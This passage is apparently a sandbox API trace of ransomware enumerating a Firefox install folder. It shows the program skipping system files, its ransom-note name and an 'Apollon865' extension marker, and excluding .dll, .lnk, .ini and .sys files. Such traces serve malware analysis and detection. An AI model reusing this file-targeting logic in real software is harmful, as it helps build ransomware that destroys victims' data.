	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2="pagefile.sys") returned -1
	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2="boot") returned 1
	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2="ids.txt") returned -1
	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2="ntuser.dat") returned -1
	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2="perflogs") returned -1
	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2="MSBuild") returned -1
	[0052.672] lstrlenW (lpString="crashreporter.exe") returned 17
	[0052.672] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\browser") returned 46
	[0052.672] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="crashreporter.exe" | out: lpString1="crashreporter.exe") returned="crashreporter.exe"
	[0052.672] lstrlenW (lpString="crashreporter.exe") returned 17
	[0052.672] lstrlenW (lpString="Apollon865") returned 10
	[0052.672] lstrcmpiW (lpString1="porter.exe", lpString2="Apollon865") returned 1
	[0052.672] lstrlenW (lpString=".dll") returned 4
	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2=".dll") returned 1
	[0052.672] lstrlenW (lpString=".lnk") returned 4
	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2=".lnk") returned 1
	[0052.672] lstrlenW (lpString=".ini") returned 4
	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2=".ini") returned 1
	[0052.672] lstrlenW (lpString=".sys") returned 4
	[0052.672] lstrcmpiW (lpString1="crashreporter.exe", lpString2=".sys") returned 1
	[0052.672] lstrlenW (lpString="crashreporter.exe") returned 17
	[0052.673] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="crashreporter.ini" | out: lpString1="crashreporter.ini") returned="crashreporter.ini"
	[0052.673] lstrlenW (lpString="crashreporter.ini") returned 17
	[0052.673] lstrlenW (lpString="Apollon865") returned 10
	[0052.673] lstrcmpiW (lpString1="porter.ini", lpString2="Apollon865") returned 1
	[0052.673] lstrlenW (lpString=".dll") returned 4
	[0052.673] lstrcmpiW (lpString1="crashreporter.ini", lpString2=".dll") returned 1
	[0052.673] lstrlenW (lpString=".lnk") returned 4
	[0052.673] lstrcmpiW (lpString1="crashreporter.ini", lpString2=".lnk") returned 1
	[0052.673] lstrlenW (lpString=".ini") returned 4
	[0052.673] lstrcmpiW (lpString1="crashreporter.ini", lpString2=".ini") returned 1
	[0052.673] lstrlenW (lpString=".sys") returned 4
	[0052.673] lstrcmpiW (lpString1="crashreporter.ini", lpString2=".sys") returned 1
	[0052.673] lstrlenW (lpString="crashreporter.ini") returned 17
	[0052.673] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="D3DCompiler_43.dll" | out: lpString1="D3DCompiler_43.dll") returned="D3DCompiler_43.dll"
	[0052.673] lstrlenW (lpString="D3DCompiler_43.dll") returned 18
	[0052.673] lstrlenW (lpString="Apollon865") returned 10
	[0052.673] lstrcmpiW (lpString1="ler_43.dll", lpString2="Apollon865") returned 1
	[0052.673] lstrlenW (lpString=".dll") returned 4
	[0052.673] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2=".dll") returned 1
	[0052.673] lstrlenW (lpString=".lnk") returned 4
	[0052.673] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2=".lnk") returned 1
	[0052.673] lstrlenW (lpString=".ini") returned 4
	[0052.673] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2=".ini") returned 1
	[0052.673] lstrlenW (lpString=".sys") returned 4
	[0052.673] lstrcmpiW (lpString1="D3DCompiler_43.dll", lpString2=".sys") returned 1
	[0052.673] lstrlenW (lpString="D3DCompiler_43.dll") returned 18
	[0052.673] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="defaults" | out: lpString1="defaults") returned="defaults"
	[0052.673] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0052.673] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x60) returned 0x5c5528
	[0052.673] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0052.673] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefb46e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x52aed680, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x63, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dependentlibs.list", cAlternateFileName="DEPEND~1.LIS")) returned 1
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2="Apollon865.txt.exe") returned 1
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2=".") returned 1
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2="..") returned 1
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2="windows") returned -1
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2="bootmgr") returned 1
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2="temp") returned -1
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2="pagefile.sys") returned -1
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2="boot") returned 1
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2="ids.txt") returned -1
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2="ntuser.dat") returned -1
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2="perflogs") returned -1
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2="MSBuild") returned -1
	[0052.674] lstrlenW (lpString="dependentlibs.list") returned 18
	[0052.674] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\defaults") returned 47
	[0052.674] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="dependentlibs.list" | out: lpString1="dependentlibs.list") returned="dependentlibs.list"
	[0052.674] lstrlenW (lpString="dependentlibs.list") returned 18
	[0052.674] lstrlenW (lpString="Apollon865") returned 10
	[0052.674] lstrcmpiW (lpString1="tlibs.list", lpString2="Apollon865") returned 1
	[0052.674] lstrlenW (lpString=".dll") returned 4
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2=".dll") returned 1
	[0052.674] lstrlenW (lpString=".lnk") returned 4
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2=".lnk") returned 1
	[0052.674] lstrlenW (lpString=".ini") returned 4
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2=".ini") returned 1
	[0052.674] lstrlenW (lpString=".sys") returned 4
	[0052.674] lstrcmpiW (lpString1="dependentlibs.list", lpString2=".sys") returned 1
	[0052.674] lstrlenW (lpString="dependentlibs.list") returned 18
	[0052.674] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="dictionaries" | out: lpString1="dictionaries") returned="dictionaries"
	[0052.674] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0052.674] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x599450
	[0052.675] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0052.675] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefb46e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x25fbbe80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x43470, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="firefox.exe", cAlternateFileName="")) returned 1
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2="Apollon865.txt.exe") returned 1
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2=".") returned 1
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2="..") returned 1
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2="windows") returned -1
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2="bootmgr") returned 1
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2="temp") returned -1
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2="pagefile.sys") returned -1
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2="boot") returned 1
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2="ids.txt") returned -1
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2="ntuser.dat") returned -1
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2="perflogs") returned -1
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2="MSBuild") returned -1
	[0052.675] lstrlenW (lpString="firefox.exe") returned 11
	[0052.675] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries") returned 51
	[0052.675] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="firefox.exe" | out: lpString1="firefox.exe") returned="firefox.exe"
	[0052.675] lstrlenW (lpString="firefox.exe") returned 11
	[0052.675] lstrlenW (lpString="Apollon865") returned 10
	[0052.675] lstrcmpiW (lpString1="irefox.exe", lpString2="Apollon865") returned 1
	[0052.675] lstrlenW (lpString=".dll") returned 4
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2=".dll") returned 1
	[0052.675] lstrlenW (lpString=".lnk") returned 4
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2=".lnk") returned 1
	[0052.675] lstrlenW (lpString=".ini") returned 4
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2=".ini") returned 1
	[0052.675] lstrlenW (lpString=".sys") returned 4
	[0052.675] lstrcmpiW (lpString1="firefox.exe", lpString2=".sys") returned 1
	[0052.675] lstrlenW (lpString="firefox.exe") returned 11
	[0052.675] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="freebl3.chk" | out: lpString1="freebl3.chk") returned="freebl3.chk"
	[0052.675] lstrlenW (lpString="freebl3.chk") returned 11
	[0052.675] lstrlenW (lpString="Apollon865") returned 10
	[0052.676] lstrcmpiW (lpString1="reebl3.chk", lpString2="Apollon865") returned 1
	[0052.676] lstrlenW (lpString=".dll") returned 4
	[0052.676] lstrcmpiW (lpString1="freebl3.chk", lpString2=".dll") returned 1
	[0052.676] lstrlenW (lpString=".lnk") returned 4
	[0052.676] lstrcmpiW (lpString1="freebl3.chk", lpString2=".lnk") returned 1
	[0052.676] lstrlenW (lpString=".ini") returned 4
	[0052.676] lstrcmpiW (lpString1="freebl3.chk", lpString2=".ini") returned 1
	[0052.676] lstrlenW (lpString=".sys") returned 4
	[0052.676] lstrcmpiW (lpString1="freebl3.chk", lpString2=".sys") returned 1
	[0052.676] lstrlenW (lpString="freebl3.chk") returned 11
	[0052.676] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="freebl3.dll" | out: lpString1="freebl3.dll") returned="freebl3.dll"
	[0052.676] lstrlenW (lpString="freebl3.dll") returned 11
	[0052.676] lstrlenW (lpString="Apollon865") returned 10
	[0052.676] lstrcmpiW (lpString1="reebl3.dll", lpString2="Apollon865") returned 1
	[0052.676] lstrlenW (lpString=".dll") returned 4
	[0052.676] lstrcmpiW (lpString1="freebl3.dll", lpString2=".dll") returned 1
	[0052.676] lstrlenW (lpString=".lnk") returned 4
	[0052.676] lstrcmpiW (lpString1="freebl3.dll", lpString2=".lnk") returned 1
	[0052.676] lstrlenW (lpString=".ini") returned 4
	[0052.676] lstrcmpiW (lpString1="freebl3.dll", lpString2=".ini") returned 1
	[0052.676] lstrlenW (lpString=".sys") returned 4
	[0052.676] lstrcmpiW (lpString1="freebl3.dll", lpString2=".sys") returned 1
	[0052.676] lstrlenW (lpString="freebl3.dll") returned 11
	[0052.676] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="gkmedias.dll" | out: lpString1="gkmedias.dll") returned="gkmedias.dll"
	[0052.676] lstrlenW (lpString="gkmedias.dll") returned 12
	[0052.676] lstrlenW (lpString="Apollon865") returned 10
	[0052.676] lstrcmpiW (lpString1="medias.dll", lpString2="Apollon865") returned 1
	[0052.676] lstrlenW (lpString=".dll") returned 4
	[0052.676] lstrcmpiW (lpString1="gkmedias.dll", lpString2=".dll") returned 1
	[0052.676] lstrlenW (lpString=".lnk") returned 4
	[0052.676] lstrcmpiW (lpString1="gkmedias.dll", lpString2=".lnk") returned 1
	[0052.676] lstrlenW (lpString=".ini") returned 4
	[0052.677] lstrcmpiW (lpString1="gkmedias.dll", lpString2=".ini") returned 1
	[0052.677] lstrlenW (lpString=".sys") returned 4
	[0052.677] lstrcmpiW (lpString1="gkmedias.dll", lpString2=".sys") returned 1
	[0052.677] lstrlenW (lpString="gkmedias.dll") returned 12
	[0052.677] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="install.log" | out: lpString1="install.log") returned="install.log"
	[0052.677] lstrlenW (lpString="install.log") returned 11
	[0052.677] lstrlenW (lpString="Apollon865") returned 10
	[0052.677] lstrcmpiW (lpString1="nstall.log", lpString2="Apollon865") returned 1
	[0052.677] lstrlenW (lpString=".dll") returned 4
	[0052.677] lstrcmpiW (lpString1="install.log", lpString2=".dll") returned 1
	[0052.677] lstrlenW (lpString=".lnk") returned 4
	[0052.677] lstrcmpiW (lpString1="install.log", lpString2=".lnk") returned 1
	[0052.677] lstrlenW (lpString=".ini") returned 4
	[0052.677] lstrcmpiW (lpString1="install.log", lpString2=".ini") returned 1
	[0052.677] lstrlenW (lpString=".sys") returned 4
	[0052.677] lstrcmpiW (lpString1="install.log", lpString2=".sys") returned 1
	[0052.677] lstrlenW (lpString="install.log") returned 11
	[0052.677] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="libEGL.dll" | out: lpString1="libEGL.dll") returned="libEGL.dll"
	[0052.677] lstrlenW (lpString="libEGL.dll") returned 10
	[0052.677] lstrlenW (lpString="Apollon865") returned 10
	[0052.677] lstrlenW (lpString=".dll") returned 4
	[0052.677] lstrcmpiW (lpString1="libEGL.dll", lpString2=".dll") returned 1
	[0052.677] lstrlenW (lpString=".lnk") returned 4
	[0052.677] lstrcmpiW (lpString1="libEGL.dll", lpString2=".lnk") returned 1
	[0052.677] lstrlenW (lpString=".ini") returned 4
	[0052.677] lstrcmpiW (lpString1="libEGL.dll", lpString2=".ini") returned 1
	[0052.677] lstrlenW (lpString=".sys") returned 4
	[0052.677] lstrcmpiW (lpString1="libEGL.dll", lpString2=".sys") returned 1
	[0052.677] lstrlenW (lpString="libEGL.dll") returned 10
	[0052.678] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="libGLESv2.dll" | out: lpString1="libGLESv2.dll") returned="libGLESv2.dll"
	[0052.678] lstrlenW (lpString="libGLESv2.dll") returned 13
	[0052.678] lstrlenW (lpString="Apollon865") returned 10
	[0052.678] lstrcmpiW (lpString1="GLESv2.dll", lpString2="Apollon865") returned 1
	[0052.678] lstrlenW (lpString=".dll") returned 4
	[0052.678] lstrcmpiW (lpString1="libGLESv2.dll", lpString2=".dll") returned 1
	[0052.678] lstrlenW (lpString=".lnk") returned 4
	[0052.678] lstrcmpiW (lpString1="libGLESv2.dll", lpString2=".lnk") returned 1
	[0052.678] lstrlenW (lpString=".ini") returned 4
	[0052.678] lstrcmpiW (lpString1="libGLESv2.dll", lpString2=".ini") returned 1
	[0052.678] lstrlenW (lpString=".sys") returned 4
	[0052.678] lstrcmpiW (lpString1="libGLESv2.dll", lpString2=".sys") returned 1
	[0052.678] lstrlenW (lpString="libGLESv2.dll") returned 13
	[0052.678] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="maintenanceservice.exe" | out: lpString1="maintenanceservice.exe") returned="maintenanceservice.exe"
	[0052.678] lstrlenW (lpString="maintenanceservice.exe") returned 22
	[0052.678] lstrlenW (lpString="Apollon865") returned 10
	[0052.678] lstrcmpiW (lpString1="ervice.exe", lpString2="Apollon865") returned 1
	[0052.678] lstrlenW (lpString=".dll") returned 4
	[0052.678] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".dll") returned 1
	[0052.678] lstrlenW (lpString=".lnk") returned 4
	[0052.678] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".lnk") returned 1
	[0052.678] lstrlenW (lpString=".ini") returned 4
	[0052.678] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".ini") returned 1
	[0052.678] lstrlenW (lpString=".sys") returned 4
	[0052.678] lstrcmpiW (lpString1="maintenanceservice.exe", lpString2=".sys") returned 1
	[0052.678] lstrlenW (lpString="maintenanceservice.exe") returned 22
	[0052.678] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="maintenanceservice_installer.exe" | out: lpString1="maintenanceservice_installer.exe") returned="maintenanceservice_installer.exe"
	[0052.678] lstrlenW (lpString="maintenanceservice_installer.exe") returned 32
	[0052.678] lstrlenW (lpString="Apollon865") returned 10
	[0052.678] lstrcmpiW (lpString1="taller.exe", lpString2="Apollon865") returned 1
	[0052.679] lstrlenW (lpString=".dll") returned 4
	[0052.679] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2=".dll") returned 1
	[0052.679] lstrlenW (lpString=".lnk") returned 4
	[0052.679] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2=".lnk") returned 1
	[0052.679] lstrlenW (lpString=".ini") returned 4
	[0052.679] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2=".ini") returned 1
	[0052.679] lstrlenW (lpString=".sys") returned 4
	[0052.679] lstrcmpiW (lpString1="maintenanceservice_installer.exe", lpString2=".sys") returned 1
	[0052.679] lstrlenW (lpString="maintenanceservice_installer.exe") returned 32
	[0052.679] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="mozalloc.dll" | out: lpString1="mozalloc.dll") returned="mozalloc.dll"
	[0052.679] lstrlenW (lpString="mozalloc.dll") returned 12
	[0052.679] lstrlenW (lpString="Apollon865") returned 10
	[0052.679] lstrcmpiW (lpString1="zalloc.dll", lpString2="Apollon865") returned 1
	[0052.679] lstrlenW (lpString=".dll") returned 4
	[0052.679] lstrcmpiW (lpString1="mozalloc.dll", lpString2=".dll") returned 1
	[0052.679] lstrlenW (lpString=".lnk") returned 4
	[0052.679] lstrcmpiW (lpString1="mozalloc.dll", lpString2=".lnk") returned 1
	[0052.679] lstrlenW (lpString=".ini") returned 4
	[0052.679] lstrcmpiW (lpString1="mozalloc.dll", lpString2=".ini") returned 1
	[0052.679] lstrlenW (lpString=".sys") returned 4
	[0052.679] lstrcmpiW (lpString1="mozalloc.dll", lpString2=".sys") returned 1
	[0052.679] lstrlenW (lpString="mozalloc.dll") returned 12
	[0052.679] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="mozglue.dll" | out: lpString1="mozglue.dll") returned="mozglue.dll"
	[0052.679] lstrlenW (lpString="mozglue.dll") returned 11
	[0052.679] lstrlenW (lpString="Apollon865") returned 10
	[0052.679] lstrcmpiW (lpString1="ozglue.dll", lpString2="Apollon865") returned 1
	[0052.679] lstrlenW (lpString=".dll") returned 4
	[0052.679] lstrcmpiW (lpString1="mozglue.dll", lpString2=".dll") returned 1
	[0052.679] lstrlenW (lpString=".lnk") returned 4
	[0052.679] lstrcmpiW (lpString1="mozglue.dll", lpString2=".lnk") returned 1
	[0052.679] lstrlenW (lpString=".ini") returned 4
	[0052.679] lstrcmpiW (lpString1="mozglue.dll", lpString2=".ini") returned 1
	[0052.680] lstrlenW (lpString=".sys") returned 4
	[0052.680] lstrcmpiW (lpString1="mozglue.dll", lpString2=".sys") returned 1
	[0052.680] lstrlenW (lpString="mozglue.dll") returned 11
	[0052.680] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="mozjs.dll" | out: lpString1="mozjs.dll") returned="mozjs.dll"
	[0052.680] lstrlenW (lpString="mozjs.dll") returned 9
	[0052.680] lstrlenW (lpString="Apollon865") returned 10
	[0052.680] lstrlenW (lpString=".dll") returned 4
	[0052.680] lstrcmpiW (lpString1="mozjs.dll", lpString2=".dll") returned 1
	[0052.680] lstrlenW (lpString=".lnk") returned 4
	[0052.680] lstrcmpiW (lpString1="mozjs.dll", lpString2=".lnk") returned 1
	[0052.680] lstrlenW (lpString=".ini") returned 4
	[0052.680] lstrcmpiW (lpString1="mozjs.dll", lpString2=".ini") returned 1
	[0052.680] lstrlenW (lpString=".sys") returned 4
	[0052.680] lstrcmpiW (lpString1="mozjs.dll", lpString2=".sys") returned 1
	[0052.680] lstrlenW (lpString="mozjs.dll") returned 9
	[0052.680] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="msvcp100.dll" | out: lpString1="msvcp100.dll") returned="msvcp100.dll"
	[0052.680] lstrlenW (lpString="msvcp100.dll") returned 12
	[0052.680] lstrlenW (lpString="Apollon865") returned 10
	[0052.680] lstrcmpiW (lpString1="vcp100.dll", lpString2="Apollon865") returned 1
	[0052.680] lstrlenW (lpString=".dll") returned 4
	[0052.680] lstrcmpiW (lpString1="msvcp100.dll", lpString2=".dll") returned 1
	[0052.680] lstrlenW (lpString=".lnk") returned 4
	[0052.680] lstrcmpiW (lpString1="msvcp100.dll", lpString2=".lnk") returned 1
	[0052.680] lstrlenW (lpString=".ini") returned 4
	[0052.680] lstrcmpiW (lpString1="msvcp100.dll", lpString2=".ini") returned 1
	[0052.680] lstrlenW (lpString=".sys") returned 4
	[0052.680] lstrcmpiW (lpString1="msvcp100.dll", lpString2=".sys") returned 1
	[0052.680] lstrlenW (lpString="msvcp100.dll") returned 12
	[0052.680] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="msvcr100.dll" | out: lpString1="msvcr100.dll") returned="msvcr100.dll"
	[0052.680] lstrlenW (lpString="msvcr100.dll") returned 12
	[0052.680] lstrlenW (lpString="Apollon865") returned 10
	[0052.681] lstrcmpiW (lpString1="vcr100.dll", lpString2="Apollon865") returned 1
	[0052.681] lstrlenW (lpString=".dll") returned 4
	[0052.681] lstrcmpiW (lpString1="msvcr100.dll", lpString2=".dll") returned 1
	[0052.681] lstrlenW (lpString=".lnk") returned 4
	[0052.681] lstrcmpiW (lpString1="msvcr100.dll", lpString2=".lnk") returned 1
	[0052.681] lstrlenW (lpString=".ini") returned 4
	[0052.681] lstrcmpiW (lpString1="msvcr100.dll", lpString2=".ini") returned 1
	[0052.681] lstrlenW (lpString=".sys") returned 4
	[0052.681] lstrcmpiW (lpString1="msvcr100.dll", lpString2=".sys") returned 1
	[0052.681] lstrlenW (lpString="msvcr100.dll") returned 12
	[0052.681] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="nss3.dll" | out: lpString1="nss3.dll") returned="nss3.dll"
	[0052.681] lstrlenW (lpString="nss3.dll") returned 8
	[0052.681] lstrlenW (lpString="Apollon865") returned 10
	[0052.681] lstrlenW (lpString=".dll") returned 4
	[0052.681] lstrcmpiW (lpString1="nss3.dll", lpString2=".dll") returned 1
	[0052.681] lstrlenW (lpString=".lnk") returned 4
	[0052.681] lstrcmpiW (lpString1="nss3.dll", lpString2=".lnk") returned 1
	[0052.681] lstrlenW (lpString=".ini") returned 4
	[0052.681] lstrcmpiW (lpString1="nss3.dll", lpString2=".ini") returned 1
	[0052.681] lstrlenW (lpString=".sys") returned 4
	[0052.681] lstrcmpiW (lpString1="nss3.dll", lpString2=".sys") returned 1
	[0052.681] lstrlenW (lpString="nss3.dll") returned 8
	[0052.681] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="nssckbi.dll" | out: lpString1="nssckbi.dll") returned="nssckbi.dll"
	[0052.681] lstrlenW (lpString="nssckbi.dll") returned 11
	[0052.681] lstrlenW (lpString="Apollon865") returned 10
	[0052.681] lstrcmpiW (lpString1="ssckbi.dll", lpString2="Apollon865") returned 1
	[0052.681] lstrlenW (lpString=".dll") returned 4
	[0052.681] lstrcmpiW (lpString1="nssckbi.dll", lpString2=".dll") returned 1
	[0052.681] lstrlenW (lpString=".lnk") returned 4
	[0052.681] lstrcmpiW (lpString1="nssckbi.dll", lpString2=".lnk") returned 1
	[0052.682] lstrlenW (lpString=".ini") returned 4
	[0052.682] lstrcmpiW (lpString1="nssckbi.dll", lpString2=".ini") returned 1
	[0052.682] lstrlenW (lpString=".sys") returned 4
	[0052.682] lstrcmpiW (lpString1="nssckbi.dll", lpString2=".sys") returned 1
	[0052.682] lstrlenW (lpString="nssckbi.dll") returned 11
	[0052.682] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="nssdbm3.chk" | out: lpString1="nssdbm3.chk") returned="nssdbm3.chk"
	[0052.682] lstrlenW (lpString="nssdbm3.chk") returned 11
	[0052.682] lstrlenW (lpString="Apollon865") returned 10
	[0052.682] lstrcmpiW (lpString1="ssdbm3.chk", lpString2="Apollon865") returned 1
	[0052.682] lstrlenW (lpString=".dll") returned 4
	[0052.682] lstrcmpiW (lpString1="nssdbm3.chk", lpString2=".dll") returned 1
	[0052.682] lstrlenW (lpString=".lnk") returned 4
	[0052.682] lstrcmpiW (lpString1="nssdbm3.chk", lpString2=".lnk") returned 1
	[0052.682] lstrlenW (lpString=".ini") returned 4
	[0052.682] lstrcmpiW (lpString1="nssdbm3.chk", lpString2=".ini") returned 1
	[0052.682] lstrlenW (lpString=".sys") returned 4
	[0052.682] lstrcmpiW (lpString1="nssdbm3.chk", lpString2=".sys") returned 1
	[0052.682] lstrlenW (lpString="nssdbm3.chk") returned 11
	[0052.682] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="nssdbm3.dll" | out: lpString1="nssdbm3.dll") returned="nssdbm3.dll"
	[0052.682] lstrlenW (lpString="nssdbm3.dll") returned 11
	[0052.682] lstrlenW (lpString="Apollon865") returned 10
	[0052.682] lstrcmpiW (lpString1="ssdbm3.dll", lpString2="Apollon865") returned 1
	[0052.682] lstrlenW (lpString=".dll") returned 4
	[0052.683] lstrcmpiW (lpString1="nssdbm3.dll", lpString2=".dll") returned 1
	[0052.683] lstrlenW (lpString=".lnk") returned 4
	[0052.683] lstrcmpiW (lpString1="nssdbm3.dll", lpString2=".lnk") returned 1
	[0052.683] lstrlenW (lpString=".ini") returned 4
	[0052.683] lstrcmpiW (lpString1="nssdbm3.dll", lpString2=".ini") returned 1
	[0052.683] lstrlenW (lpString=".sys") returned 4
	[0052.683] lstrcmpiW (lpString1="nssdbm3.dll", lpString2=".sys") returned 1
	[0052.683] lstrlenW (lpString="nssdbm3.dll") returned 11
	[0052.683] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="omni.ja" | out: lpString1="omni.ja") returned="omni.ja"
	[0052.683] lstrlenW (lpString="omni.ja") returned 7
	[0052.683] lstrlenW (lpString="Apollon865") returned 10
	[0052.683] lstrlenW (lpString=".dll") returned 4
	[0052.683] lstrcmpiW (lpString1="omni.ja", lpString2=".dll") returned 1
	[0052.683] lstrlenW (lpString=".lnk") returned 4
	[0052.683] lstrcmpiW (lpString1="omni.ja", lpString2=".lnk") returned 1
	[0052.683] lstrlenW (lpString=".ini") returned 4
	[0052.683] lstrcmpiW (lpString1="omni.ja", lpString2=".ini") returned 1
	[0052.683] lstrlenW (lpString=".sys") returned 4
	[0052.683] lstrcmpiW (lpString1="omni.ja", lpString2=".sys") returned 1
	[0052.683] lstrlenW (lpString="omni.ja") returned 7
	[0052.683] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="platform.ini" | out: lpString1="platform.ini") returned="platform.ini"
	[0052.683] lstrlenW (lpString="platform.ini") returned 12
	[0052.683] lstrlenW (lpString="Apollon865") returned 10
	[0052.683] lstrcmpiW (lpString1="atform.ini", lpString2="Apollon865") returned 1
	[0052.683] lstrlenW (lpString=".dll") returned 4
	[0052.683] lstrcmpiW (lpString1="platform.ini", lpString2=".dll") returned 1
	[0052.683] lstrlenW (lpString=".lnk") returned 4
	[0052.683] lstrcmpiW (lpString1="platform.ini", lpString2=".lnk") returned 1
	[0052.683] lstrlenW (lpString=".ini") returned 4
	[0052.683] lstrcmpiW (lpString1="platform.ini", lpString2=".ini") returned 1
	[0052.683] lstrlenW (lpString=".sys") returned 4
	[0052.684] lstrcmpiW (lpString1="platform.ini", lpString2=".sys") returned 1
	[0052.684] lstrlenW (lpString="platform.ini") returned 12
	[0052.684] lstrcpyW (in: lpString1=0x2d3e59e, lpString2="plugin-container.exe" | out: lpString1="plugin-container.exe") returned="plugin-container.exe"
	[0052.684] lstrlenW (lpString="plugin-container.exe") returned 20
	[0052.684] lstrlenW (lpString="Apollon865") returned 10
	[0052.684] lstrcmpiW (lpString1="tainer.exe", lpString2="Apollon865") returned 1
	[0052.684] lstrlenW (lpString=".dll") returned 4
	[0052.684] lstrcmpiW (lpString1="plugin-container.exe", lpString2=".dll") returned 1
	[0052.684] lstrlenW (lpString=".lnk") returned 4
	[0052.684] lstrcmpiW (lpString1="plugin-container.exe", lpString2=".lnk") returned 1
	[0052.684] lstrlenW (lpString=".ini") returned 4
